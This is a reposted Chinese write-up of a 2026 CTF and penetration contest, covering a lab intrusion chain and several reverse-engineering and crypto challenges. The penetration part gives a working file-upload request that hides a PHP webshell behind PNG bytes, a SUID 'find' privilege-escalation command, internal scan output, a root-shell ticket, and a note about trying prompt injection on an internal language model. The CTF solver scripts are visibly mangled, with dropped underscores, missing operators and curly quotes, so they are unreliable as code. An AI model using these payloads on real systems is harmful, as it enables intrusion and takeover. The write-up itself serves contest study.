第三届”长城杯”网数智安全大赛CTF&渗透WP全流程

admin 2026-05-06 06:39:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录了第三届’长城杯’网络安全大赛CTF与渗透测试全流程,涵盖从外网渗透到内网横向移动的完整攻击链。关键发现包括通过目录遍历获取数据库凭证、文件上传获取webshell、SUID提权发现双网卡结构,内网扫描识别出多个存在漏洞的服务(SpringGatewayRCE、Java反序列化、二进制逆向)。文档提供了具体攻击Payload和技术细节,对红队实战具有较高参考价值。 综合评分: 85 文章分类: CTF,渗透测试,逆向分析,WEB安全,内网渗透


cover_image

第三届”长城杯”网数智安全大赛CTF&渗透WP全流程

原创

李七庄驾校 李七庄驾校

Zer0day安全

2026年5月3日 17:29 四川

在小说阅读器读本章

去阅读

第三届”长城杯”网数智安全大赛CTF&渗透WP全流程

本次大赛涉及到的全部附件都已经打包好了 后台回复”长城杯2026″即可获取

渗透

扫目录/storage/下存在目录遍历,能下载data.sqlite文件,拿到后台账密

登录后有文件上传点

POST /admin.php HTTP/1.1
Host: 10.11.133.99
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjtjXAELmDO7rHwwg
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=a208ddcmkfhnhgq3t3nhcp9pmr
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.11.133.99/admin.php
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Origin: http://10.11.133.99
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Content-Length: 721
------WebKitFormBoundaryjtjXAELmDO7rHwwg
Content-Disposition: form-data; name="action"
upload_file
------WebKitFormBoundaryjtjXAELmDO7rHwwg
Content-Disposition: form-data; name="attachment"; filename="aaa.php"
Content-Type: image/png
{{unquote("\x89PNG\x0d\x0a\x1a\x0a\x00\x00\x00\x0dIHDR\x00\x00\x00\x05\x00\x00\x00\x04\x08\x06\x00\x00\x00F3\xf5@\x00\x00\x00\x01sRGB\x00\xae\xce\x1c\xe9\x00\x00\x00\x04gAMA\x00\x00\xb1\x8f\x0b\xfca\x05\x00\x00\x00\x09pHYs\x00\x00\x0e\xc3\x00\x00\x0e\xc3\x01\xc7o\xa8d\x00\x00\x00!IDAT\x18Wc\x9c\xb2\xfd\xcc\x7f\x06\x28\xf8\x0fe11\xfcg\x02\xf2P1\x90\xc4\x04X\x04\x19\x18\x00\x93\x0a\x0a!C\xd6\xf8X\x00\x00\x00\x00IEND\xaeB`\x82")}}<?php eval($_POST[1]);?>
------WebKitFormBoundaryjtjXAELmDO7rHwwg--

低权限,发现suid:-rwsr-xr-x 1 root root /usr/bin/find

find提权, 拿到flag

cmsapp@dmz-cms:/tmp$ find . -exec cat /f1ag \; -quit flag1: flag{faafcf92d6744ba293479c80fd600be8}

发现双网卡, 上传fscan扫内网网段

cmsapp@dmz-cms:/tmp$ ./xiaomi_linux -h 192.168.7.8/24

&nbsp; &nbsp; &nbsp; &nbsp;_ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _
&nbsp; &nbsp; &nbsp; (_) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (_)
&nbsp;__ &nbsp;___ &nbsp;__ _ &nbsp;___ &nbsp; &nbsp;_ __ ___ &nbsp;_
&nbsp;\ \/ | |/ _' |/ _ \ &nbsp;| '_ ' _ \| |
&nbsp; > &nbsp;<| | (_| | (_) | | | | | | | |
&nbsp;/_/\_|_|\__,_|\___/ &nbsp;|_| |_| |_|_|

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;version: 100 Pro Max
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 192.168.7.2 &nbsp; &nbsp; is alive
(icmp) Target 192.168.7.8 &nbsp; &nbsp; is alive
(icmp) Target 192.168.7.13 &nbsp; &nbsp;is alive
(icmp) Target 192.168.7.51 &nbsp; &nbsp;is alive
(icmp) Target 192.168.7.83 &nbsp; &nbsp;is alive
(icmp) Target 192.168.7.128 &nbsp; is alive
[*] Icmp alive hosts len is: 6
192.168.7.51:80 open
192.168.7.128:22 open
192.168.7.8:80 open
192.168.7.83:22 open
192.168.7.51:22 open
192.168.7.13:22 open
192.168.7.83:21 open
192.168.7.8:22 open
192.168.7.2:53 open
192.168.7.83:8092 open
192.168.7.13:11434 open
[*] alive ports len is: 11
start vulscan
[*] WebTitle http://192.168.7.51 &nbsp; &nbsp; &nbsp; code:200 len:595 &nbsp; &nbsp;title:Directory listing for /
[*] WebTitle http://192.168.7.13:11434 code:200 len:17 &nbsp; &nbsp; title:None
[+] InfoScan http://192.168.7.51 &nbsp; &nbsp; &nbsp; [目录遍历]
[*] WebTitle http://192.168.7.8 &nbsp; &nbsp; &nbsp; &nbsp;code:200 len:6510 &nbsp; title:首页 | 华讯内容管理系统
[*] WebTitle http://192.168.7.83:8092 &nbsp;code:404 len:117 &nbsp; &nbsp;title:None
[+] ftp 192.168.7.83:21:anonymous
&nbsp; &nbsp;[->]pub
  • • http://192.168.7.51能拿到相关固件和依赖, 是一个题目说的protokms系统

保护:

checksec:

  • • Full RELRO
  • • Canary
  • • NX
  • • PIE
  • • SHSTK
  • • IBT

同时程序启动时还装了 seccomp,常规 open/openat/execve/mmap/mprotect/socket/fork 都被拦。

所以当时就没有细看了, 赛后分析发现程序会直接 READ id=0.程序启动时会先尝试读取/etc/passwd.keys到0号槽,然后没有鉴权,READ 会把6 号槽里 的secret_key原样回出来,这里可能会泄露关键信息。

还可以考虑openat2,由于是赛后打的,就默认kernel>5.6吧,但是赛中有限时间orw还真不好出(),可能就是直接读/etc/passwd.keys然后继续渗透,这里就简单贴一下orw思路了(实现任意文件读)

  1. 1. 用 UAF 做稳定 fastbin 布局
  2. 2. 把分配打进 .bss,拿全局槽位任意读写
  3. 3. 用 environ -> auxv -> AT_RANDOM 拿 pointer_guard
  4. 4. 伪造 __exit_funcs
  5. 5. setcontext + syscall(openat2) + read/write 完成任意文件读
  • • http://192.168.7.13:11434是个ollama服务, 当时环境无法实现ollama未授权RCE, 看模型/api/tags存在一个0.5B的千问模型, 尝试提示词注入些信息未果
  • • http://192.168.7.83:8092是个spring服务, 扫目录存在/actuator路由, 里面存在gateway, 能想到打spring gateway rce, 但是工具梭哈失败, 手动尝试CVE-2025-41243最新的绕过rce也失败

只好先进ftp内看看, 从里面下载了个jar包

发现存在/analyze路由 其中在AnalyzerController.class里会new AnalyzerBean,随后调用readObject();AnalyzerBean.class的 readObject()会做Base64 -> GZIP -> ObjectInputStream.readObject()。这就是标准 Java 反序列化 RCE 点。

但/analyze 先校验 X-Token == tokenBean.generateToken(),而 TokenBean.class 的 generateToken() 每次都会重新走SecureRandom.getInstanceStrong()System.nanoTime()生成新值;控制器比的是“本次新生成”的 token,不是固定的serialVersionUID。所以直接伪造X-Token基本不可行

而赛中若是打gateway路由refresh失效, 疑似是被禁了, 那么这个站应该是少东西, 目前没法继续利用

  • • 192.168.7.128:22可以连上 ssh [email protected] “ctf” 目录下存在名为judo的二进制文件

当时以为是打pwn, 后面发现实际上没有常规的栈溢出、堆利用或者 GOT 劫持,核心是一个被花指令和自修改代码包起来的隐藏校验器。 拿到正确的 16 字节 ticket 后,程序会直接执行:

setuid(0);
setgid(0);
execle("/bin/bash",&nbsp;"bash",&nbsp;NULL, &envp);

所以本质上是一个“找 ticket -> 拿 shell”的题。

但当时赛场没时间调出来了, 后续都在看ctf赛道, 这里贴一下赛后的分析

## 程序主逻辑

从 `main` 开始看,程序流程很短:

1. `clearenv()` 清空环境变量
2. 输出欢迎信息
3. `fgets(buf, 64, stdin)`
4. 去掉换行
5. 如果长度不是 `16`,直接 `_exit(1)`

IDA 导出的伪代码会误导你,以为这里只做了一个长度判断就结束了,但实际汇编里后面还有一段关键逻辑:

asm 1449: e8 00 00 00 00    call 144e 144e: 48 83 04 24 2a    add qword ptr [rsp], 0x2a 1453: c3                ret 1454: lea rax, [rbp-0x50] 1458: lea rdx, [rip+0x5c38]   ; “s3cRett1CkET!!” 1465: call strcmp

这里的 `call 144e` 会先把返回地址 `144e` 压栈,然后 `add [rsp], 0x2a` 把返回地址改成 `1454 + 0x2a = 1478`,最后 `ret`。
也就是说:

- 只要输入长度是 16,就不会真的执行 `strcmp`
- 字符串 `s3cRet_t1CkET_!!` 只是烟雾弹

## 真正的校验入口

被跳转到的位置是:

asm 1478: lea rax, [rip+0x8b81]   ; 0xa000 1499: call mprotect 14c1: movzx eax, byte ptr [rax+rdx] 14cf: xor eax, 0x37 14de: mov byte ptr [rax+rdx], cl … 151d: call r8 1523: cmp dword ptr [rbp-0x6c], 1 1529: call sub_12C9

逻辑是:

1. 把 `0xa000` 开始的 `0x4000` 字节区域改成可执行
2. 对这段区域逐字节 `xor 0x37`
3. 把它当函数调用
4. 如果返回值等于 `1`,进入 `sub_12C9()`,拿 shell

所以这题的关键就是把 `0xa000` 里的隐藏函数逆出来。

## 隐藏函数的结构

这段隐藏函数并不是普通函数,而是很多层“自修改跳板”:

- 一小段代码先给后面 0x25/0x26/0x29 个字节加上某个常量
- 跳到刚刚修好的下一段
- 下一段继续修补后续代码
- 最终把整个真实校验逻辑逐步展开

直接静态看会很乱,所以更好的办法是:

1. 先把 `.data` 区域整体 `xor 0x37`
2. 用模拟执行把所有自修改都跑完
3. 提取真正执行过的指令流

还原后可以发现,这个隐藏函数本质上做了两层表运算。

## 第一层:16 字节输入 -> 4 个 32 位中间值

`arg1 = 0x2020`,这里放了 `16` 张表,每张表大小是 `0x400`,也就是:

- 每张表 256 项
- 每项 4 字节

输入 16 字节分成 4 组,每组 4 字节,各自做异或:

text w0 = T0[in0]  ^ T1[in1]  ^ T2[in2]  ^ T3[in3] w1 = T4[in4]  ^ T5[in5]  ^ T6[in6]  ^ T7[in7] w2 = T8[in8]  ^ T9[in9]  ^ T10[in10] ^ T11[in11] w3 = T12[in12] ^ T13[in13] ^ T14[in14] ^ T15[in15]

然后把四个 `uint32` 按小端拆成 16 个字节。

## 第二层:16 个中间字节 -> 与目标常量比较

`arg2 = 0x6020`,这里放了 `16` 张字节表,每张表大小 `0x100`。
每个中间字节再经过一张单字节查表,然后和 `arg3 = 0x7020` 开始的 16 字节目标值比较。

比较顺序不是线性的,而是一个固定置换。逆出来后对应关系如下:

text mid[0]  –table0–>  target[0] mid[1]  –table13–> target[13] mid[2]  –table10–> target[10] mid[3]  –table7–>  target[7] mid[4]  –table4–>  target[4] mid[5]  –table1–>  target[1] mid[6]  –table14–> target[14] mid[7]  –table11–> target[11] mid[8]  –table8–>  target[8] mid[9]  –table5–>  target[5] mid[10] –table2–>  target[2] mid[11] –table15–> target[15] mid[12] –table12–> target[12] mid[13] –table9–>  target[9] mid[14] –table6–>  target[6] mid[15] –table3–>  target[3]

因为第二层每张表都是 256 -> 256 的字节映射,所以可以直接反查出唯一的 16 个中间字节:

text 34 88 8b 85 3b 2b 61 03 14 26 28 ae 3e c1 b6 3b

对应的 4 个 32 位目标值是:

text 0x858b8834 0x03612b3b 0xae282614 0x3bb6c13e

## 求解输入

现在问题就变成:对每组 4 字节,求解

text T0[a] ^ T1[b] ^ T2[c] ^ T3[d] = target

暴力是 `256^4`,略大。
但这题天然适合 `meet-in-the-middle`:

1. 先枚举前两字节,存 `T0[a] ^ T1[b]`
2. 再枚举后两字节,求需要的值 `target ^ T2[c] ^ T3[d]`
3. 在哈希表里查找

每组只要大约 `2 * 256^2` 的规模,4 组很快就能出答案。

最终求得唯一解:

text Dug&?MUb$~y=b5cu

十六进制:

text 44 75 67 26 3f 4d 55 62 24 7e 79 3d 62 35 63 75

## 最终利用

本地/远程只需要发送这 16 字节 ticket:

text Dug&?MUb$~y=b5cu

命中后程序返回 `1`,随后进入:

c setuid(0); setgid(0); execle(“/bin/bash”, “bash”, NULL, &envp);

```

## CTF

### Web-JavaUnbound

明显的反序列化入口, java-chains一把梭

![](https://mmbiz.qpic.cn/sz_mmbiz_png/L5p13fmOxK0dficfncib5tKPPxnJy7C4STAfgQic7gcIfXLZSmZPFic1gFspN1ibT7NsUP43yiaqdnicr1wtzotwNzkSrFKQ7smNrH6iaenCK34YXR0/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=7)![](https://mmbiz.qpic.cn/sz_mmbiz_png/L5p13fmOxK2ic0LicVpSjxxTWodXfAC2IERde3p0icOoPBwzVtG0eicMvZE8TxYpRMcBNAsJaiaQtmdsibnq4hQZZnlCI1X95BcZH5MZpzUcdIfT8/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=8)![](https://mmbiz.qpic.cn/mmbiz_png/L5p13fmOxK1GGqRw5ObNiahibZSNlE17RBxktfHTZQ8X6XJ7zGgowIqgfu0WUw5reTnbK1xMEGcRfUx8dvuMZUfWxXWK7yQVzy95XGh15nJ7g/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=9)![](https://mmbiz.qpic.cn/mmbiz_png/L5p13fmOxK1hmyicxGfcGZ8FNaKiaf2xicsslZjosRw9ia2qWfKEcSwU2Tp5O2Sgib4iatMfFkoGCxdPTmicWo2T96AVV1CK6V8p4kNHtpNKLEicSlw/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=10)

### AI-LatticeCNN

模拟CNN特征提取 → 构建LWE公开矩阵 → 有限域求逆 → 小噪声暴力枚举 → 恢复秘密向量 → SHA-256派生密钥 → AES解密密文

import numpy as np from itertools import product import hashlib from Crypto.Cipher import AES

q = 65537 noise_bound = 2

K1 = np.array([[1,0,-1],[2,0,-2],[1,0,-1]], dtype=np.int64) K2 = np.array([[1,2,1],[0,0,0],[-1,-2,-1]], dtype=np.int64) MIX = np.array([     [  5312, 11457, 22011,  991, 30123, 441, 12009, 17777],     [ 20001,  9182,  7711, 5412,  1322, 9911, 4444, 25111],     [ 31111,   721, 18008, 6191, 17001, 1200, 9222,  6611],     [ 12345, 22222,  3333, 8765, 11111, 7001, 8080, 19001],     [ 55555,  1111, 22221, 3333,  4444, 5555, 6666,  7777],     [  9012, 34001,  8123, 9101, 12001, 1300, 4441,  7771],     [ 16001, 17001, 18001, 19001, 20001, 21001, 22001, 23001],     [ 54321, 12321,  7777, 9999, 13579, 2468, 1111, 22229], ], dtype=np.int64) % q

inputs = np.load(‘input.npy’) outputs = np.load(‘output.npy’).astype(np.int64)

def conv_valid(x, k):     h, w = x.shape; kh, kw = k.shape     out = np.zeros((h-kh+1, w-kw+1), dtype=np.int64)     for i in range(h-kh+1):         for j in range(w-kw+1):             out[i, j] = int(np.sum(x[i:i+kh, j:j+kw] * k))     return out

def relu(x):     return np.maximum(x, 0)

def avgpool2x2(x):     out = np.zeros((2, 2), dtype=np.int64)     for i in range(2):         for j in range(2):             block = x[2i:2i+2, 2j:2j+2]             out[i, j] = int(np.sum(block) // 4)     return out

def feature(x):     c1 = avgpool2x2(relu(convvalid(x, K1)))     c2 = avgpool2x2(relu(convvalid(x, K2)))     base = np.concatenate([c1.reshape(-1), c2.reshape(-1)]).astype(np.int64)     return (MIX @ base) % q

def inv_mod(M, mod):     M = M.astype(np.int64) % mod     n = M.shape[0]     aug = np.concatenate([M, np.eye(n, dtype=np.int64)], axis=1)     row = 0     for col in range(n):         pivot = None         for r in range(row, n):             if aug[r, col] % mod != 0:                 pivot = r; break         if pivot is None: raise ValueError(‘singular matrix’)         if pivot != row: aug[[row, pivot]] = aug[[pivot, row]]         inv = pow(int(aug[row, col]), -1, mod)         aug[row] = (aug[row] * inv) % mod         for r in range(n):             if r != row and aug[r, col] % mod != 0:                 factor = aug[r, col] % mod                 aug[r] = (aug[r] – factor * aug[row]) % mod         row += 1     return aug[:, n:] % mod

A = np.array([feature(x) for x in inputs], dtype=np.int64) if len(A) < 8: raise ValueError(“Need at least 8 samples to invert matrix”)

M = A[:8].copy() Minv = inv_mod(M, q) b = outputs[:8].copy() % q  # 🔑 强制取模防溢出

secret = None print(f”[] Brute-forcing noise space ({5noisebound2+1}^8 combinations)…”) for e in product(range(-noisebound, noisebound + 1), repeat=8):     evec = np.array(e, dtype=np.int64) % q     s = (Minv @ ((b – e_vec) % q)) % q

    pred = (A @ s) % q     diff = (outputs % q – pred) % q  # 🔑 统一模域比较     signed = np.where(diff > q // 2, diff – q, diff)     if np.all(np.abs(signed) <= noise_bound):         secret = s; break

if secret is None: raise SystemExit(‘secret not found’)

secretcenter = [int(x) if x <= q // 2 else int(x - q) for x in secret] print('secretmod’, secret.tolist()) print(‘secretcenter’, secretcenter)

secretstr = ‘,’.join(str(x) for x in secretcenter) key = hashlib.sha256(secret_str.encode()).digest()[:16]

try:     cipher = open(‘cipher.bin’, ‘rb’).read()     pt = AES.new(key, AES.MODE_ECB).decrypt(cipher)     pad = pt[-1]     if 1 <= pad <= 16 and pt[-pad:] == bytes([pad]) * pad:         pt = pt[:-pad]     print(‘plaintext’, pt.decode(errors=’replace’)) except FileNotFoundError:     print(“[-] cipher.bin not found. Check file path.”) except Exception as e:     print(f”[-] AES decryption failed: {e}”)

### RE-DokiLogic

附件是一个 Ren'Py 游戏。

这题最后的 flag:

flag{f17c53c3-dc26-46b1-b373-2ca00a6a6721}

1. 1. 先找真正的逻辑

目录里有&nbsp;`dokigame.exe`,但这个基本只是 Ren'Py 的启动器。真正和剧情、输入判断有关的代码一般在&nbsp;`game/script.rpyc`。

先看一下&nbsp;`script.rpyc`&nbsp;文件头:

52 45 4e 50 59 20 52 50 43 32 RENPY RPC2

这是 Ren'Py 的 rpyc 格式。前面是 chunk 表,`RENPY RPC2`&nbsp;占 10 字节,后面每一项是 3 个小端&nbsp;`uint32`:

slot, offset, length

遇到&nbsp;`0, 0, 0`&nbsp;结束。后面的数据是 zlib 压缩的。

先把 rpyc 里的 zlib 数据解出来:

from pathlib import Path import struct import zlib

raw = Path(‘game/script.rpyc’).read_bytes() print(raw[:10])

off = 10 chunks = [] while True:     slot, start, size = struct.unpack(‘<III’, raw[off:off+12])     off += 12     if slot == 0 and start == 0 and size == 0:         break     chunks.append((slot, start, size))

print(chunks)

payload = zlib.decompress(raw[chunks[0][1]:chunks[0][1] + chunks[0][2]]) print(len(payload)) Path(‘scriptpayload.bin’).writebytes(payload)

脚本跑完后会得到两个 chunk,第一段解压后大约 196 KB。这个 payload 里能看到不少源码字符串,重点看释放&nbsp;`.1.exe`&nbsp;和输入判断相关的片段。

1. 2. 找到外层校验逻辑

payload 里能搜到一段类似这样的代码:

import subprocess import os

_f = b’MZ…’

with open(‘.1.exe’, ‘wb’) as llll11ll1l11:     llll11ll1l11.write(_f)

l11l1ll111l1 = subprocess.run(‘./.1.exe’, stdout=subprocess.PIPE).stdout os.remove(‘.1.exe’)

ll111l11l111 = l11l1ll111l1.decode(‘latin-1’)

也就是说,游戏启动后会把&nbsp;`_f`&nbsp;里的 PE 写成&nbsp;`.1.exe`,运行它,把 stdout 保存下来,然后删掉文件。

继续往下看输入判断:

def l11111l1ll1l(ll1llll1l11l):     llll1l111ll1 = 35     return ”.join((chr(ord(ll1l111ll11l) ^ llll1l111ll1) for ll1l111ll11l in ll1llll1l11l))

userinput = renpy.input(‘just input your answer: ‘, length=60) userinput = userinput.strip() encryinput = l11111l1ll1l(user_input)

if encry_input == ll111l11l111:     # correct

到这里题目的结构就清楚了:

用户输入 –xor 35–> encry_input .1.exe stdout ——–> ll111l11l111

要求 encry_input == ll111l11l111

`35`&nbsp;是十进制,也就是&nbsp;`0x23`。

后面继续拿&nbsp;`.1.exe`&nbsp;的 stdout。

1. 3. 拿到&nbsp;`.1.exe`&nbsp;的输出

`.1.exe`&nbsp;不是单独的附件,它就在&nbsp;`_f = b'MZ...'`&nbsp;这个 bytes literal 里。直接从 payload 里切出来即可。

from pathlib import Path import ast

payload = Path(‘scriptpayload.bin’).readbytes()

start = payload.find(b’_f = b’) end = payload.find(b”\nwith open(‘.1.exe'”, start)

exeliteral = payload[start + len(b’f = ‘):end].decode(‘utf-8′, errors=’replace’) exedata = ast.literaleval(exe_literal)

Path(‘.1.exe’).writebytes(exedata) print(len(exedata), exedata[:2])

输出:

67011 b’MZ’

这个&nbsp;`.1.exe`&nbsp;本身带 UPX 壳,不过这题里它的作用已经被外层脚本限定死了:只需要它的 stdout。

直接运行:

./.1.exe | xxd -g1

得到 36 字节:

00000000: 45 12 14 40 16 10 40 10 0e 47 40 11 15 0e 17 15  E..@[email protected]@….. 00000010: 41 12 0e 41 10 14 10 0e 11 40 42 13 13 42 15 42  A..A…[email protected] 00000020: 15 14 11 12                                      ….

连起来:

45121440161040100e474011150e171541120e411014100e114042131342154215141112

这就是外层代码里的&nbsp;`ll111l11l111`。

1. 4. 识别算法并解密

外层函数已经把算法写出来了:

def l11111l1ll1l(s):     key = 35     return ”.join(chr(ord(c) ^ key) for c in s)

也就是单字节 XOR,key 为:

35 = 0x23

判断条件是:

user_input ^ 0x23 == .1.exe stdout

所以把 stdout 再 XOR 一次&nbsp;`0x23`&nbsp;就能得到原始输入。

ct = bytes.fromhex(‘45121440161040100e474011150e171541120e411014100e114042131342154215141112’) plain = ”.join(chr(b ^ 0x23) for b in ct) print(plain) print(‘flag{‘ + plain + ‘}’)

输出:

f17c53c3-dc26-46b1-b373-2ca00a6a6721 flag{f17c53c3-dc26-46b1-b373-2ca00a6a6721}

### RE-Distorted

1. 1. 整体流程

input → base64 → rc4

base64 为魔改码表,每次不同,无法直接逆向
rc4 为魔改版本

1. 2. RC4 解密脚本

import base64

EXEPATH = “flag.txt.enc” KEY = “CCBM4gicK3y2026″ XORCONST = 0x37 OFFSETADD = 114

rawctstr = “cvSfF9JOXb8yx3kwyDSaZGc2cMy6DSpYIeSaP9EQHg96my70D93+DxnmDPq5m97DiuUclA==”

rawct = base64.b64decode(rawct_str)

S = list(range(256)) j = 0 for i in range(256):     j = (j + S[i] + ord(KEY[i % len(KEY)])) % 256     S[i], S[j] = S[j], S[i]

i, j = 0, 0 out = bytearray()

for byte in rawct:     i = (i + 1) % 256     sboxival = S[i]     j = (sboxi_val + j) % 256

    S[i], S[j] = S[j], S[i]

    idx = (sboxival * S[i]) % 256 + OFFSET_ADD     idx %= 256

    out.append(S[idx] ^ byte ^ XOR_CONST)

print(f”[+] Decrypted: {out}”)

说明
OFFSET\_ADD = 114 是关键索引偏移

---

1. 3. 恢复 Base64 码表

思路:使用已知明文(readme)与其密文对照恢复码表

KNOWNPLAINTEXT = “不好意思,你的文件已经都被我加密了,请支付20ETH到这个地址以解锁你的文件:)\r\n0xCCBA203086038f82380A6A3521ccBf9c56d111eA” CIPHERTEXT      = “eTHfe9m2eZraeZFKccgneTJxeeLzeo9ueTRJeG7gecRatkq2tQQheZHBekLxe9y/eTL/ccgntQy4eorYeTRknMw1VzMOHTSZYeEURQhOETSOEkSURtdZotaoODuUY9SECZWCOZvURcktQsAQnu5SsAPwnM3bnSxJnSn8XMxgnbxNsWXwnb6gnmfMsCkekb6JXSz0nmVw” STDB64         = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=”

import base64

stdenc = base64.b64encode(KNOWNPLAINTEXT.encode()).decode()

stdvalid = stdenc.rstrip(‘=’) cipher_valid = CIPHERTEXT.rstrip(‘=’)

print(f”std len: {len(stdvalid)}, cipher len: {len(ciphervalid)}”) assert len(stdvalid) == len(ciphervalid)

charsetmap = {} for s, c in zip(stdvalid, ciphervalid):     charsetmap[s] = c

recoveredalphabet = “”.join(charsetmap.get(ch, ‘?’) for ch in STD_B64 if ch != ‘=’)

print(“Recovered Alphabet:”, recoveredalphabet) print(“Missing chars:”, recoveredalphabet.count(‘?’))

revmap = {c: i for i, c in enumerate(recoveredalphabet) if c != ‘?’} bits = [revmap[ch] for ch in ciphervalid if ch in rev_map]

out_bytes = bytearray()

for i in range(0, len(bits), 4):     v = (bits[i]<<18)|(bits[i+1]<<12)|(bits[i+2]<<6)|bits[i+3]     out_bytes += bytes([(v>>16)&0xFF, (v>>8)&0xFF, v&0xFF])

decodedtext = outbytes.decode() print(“Decoded:”, decoded_text)

matchlen = min(len(decodedtext), len(KNOWNPLAINTEXT)) print(“[OK]” if decodedtext[:matchlen] == KNOWNPLAINTEXT else “[FAIL]”)

输出示例

Recovered Alphabet:
`3wFSz1/uDPQTnfqasBrW6VmdkX9G?K7vx5HMUOCEZoLh??RYN0gbA?J48etc?2y?`

Missing chars: 6

---

1. 4. 爆破缺失字符

import itertools import string

ALPHABETTEMPLATE = “3wFSz1/uDPQTnfqasBrW6VmdkX9G?K7vx5HMUOCEZoLh??RYN0gbA?J48etc?2y?” MISSINGINDICES = [28, 44, 45, 53, 60, 63] MISSING_CHARS = [‘+’, ‘I’, ‘i’, ‘j’, ‘l’, ‘p’]

CIPHERTEXT = “XC05X4+09C8efWIA9E1CqWV+9SBbGJDgkCpiGmoUIungImoMndA=”

def decodecustom(text, alphabet):     decmap = {c: i for i, c in enumerate(alphabet)}     bits = []

    for ch in text.rstrip(‘=’):         if ch not in decmap:             return None         bits.append(decmap[ch])

    bytedata = b”     acc = 0     bitcount = 0

    for v in bits:         acc = (acc << 6) | v         bitcount += 6         if bitcount >= 8:             bytedata += bytes([(acc >> (bitcount – 8)) & 0xFF])             bit_count -= 8

    return byte_data

for perm in itertools.permutations(MISSINGCHARS):     charslist = list(ALPHABET_TEMPLATE)

    for idx, char in zip(MISSINGINDICES, perm):         charslist[idx] = char

    currentalphabet = ”.join(charslist)

    decodedbytes = decodecustom(CIPHERTEXT, currentalphabet)     if decodedbytes is None:         continue

    try:         textout = decodedbytes.decode(‘ascii’)

        if all(c in string.printable for c in textout):             if textout.startswith(“flag{“):                 print(“[MATCH] Alphabet:”, current_alphabet)

    except UnicodeDecodeError:         pass

---

五、最终正确码表

3wFSz1/uDPQTnfqasBrW6VmdkX9GIK7vx5HMUOCEZoLh+iRYN0gbApJ48etcl2yj “`

验证的方式是通过这个图片是否揭秘成功


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Zer0day安全 李七庄驾校 李七庄驾校《第三届”长城杯”网数智安全大赛CTF&渗透WP全流程》

评论:0   参与:  0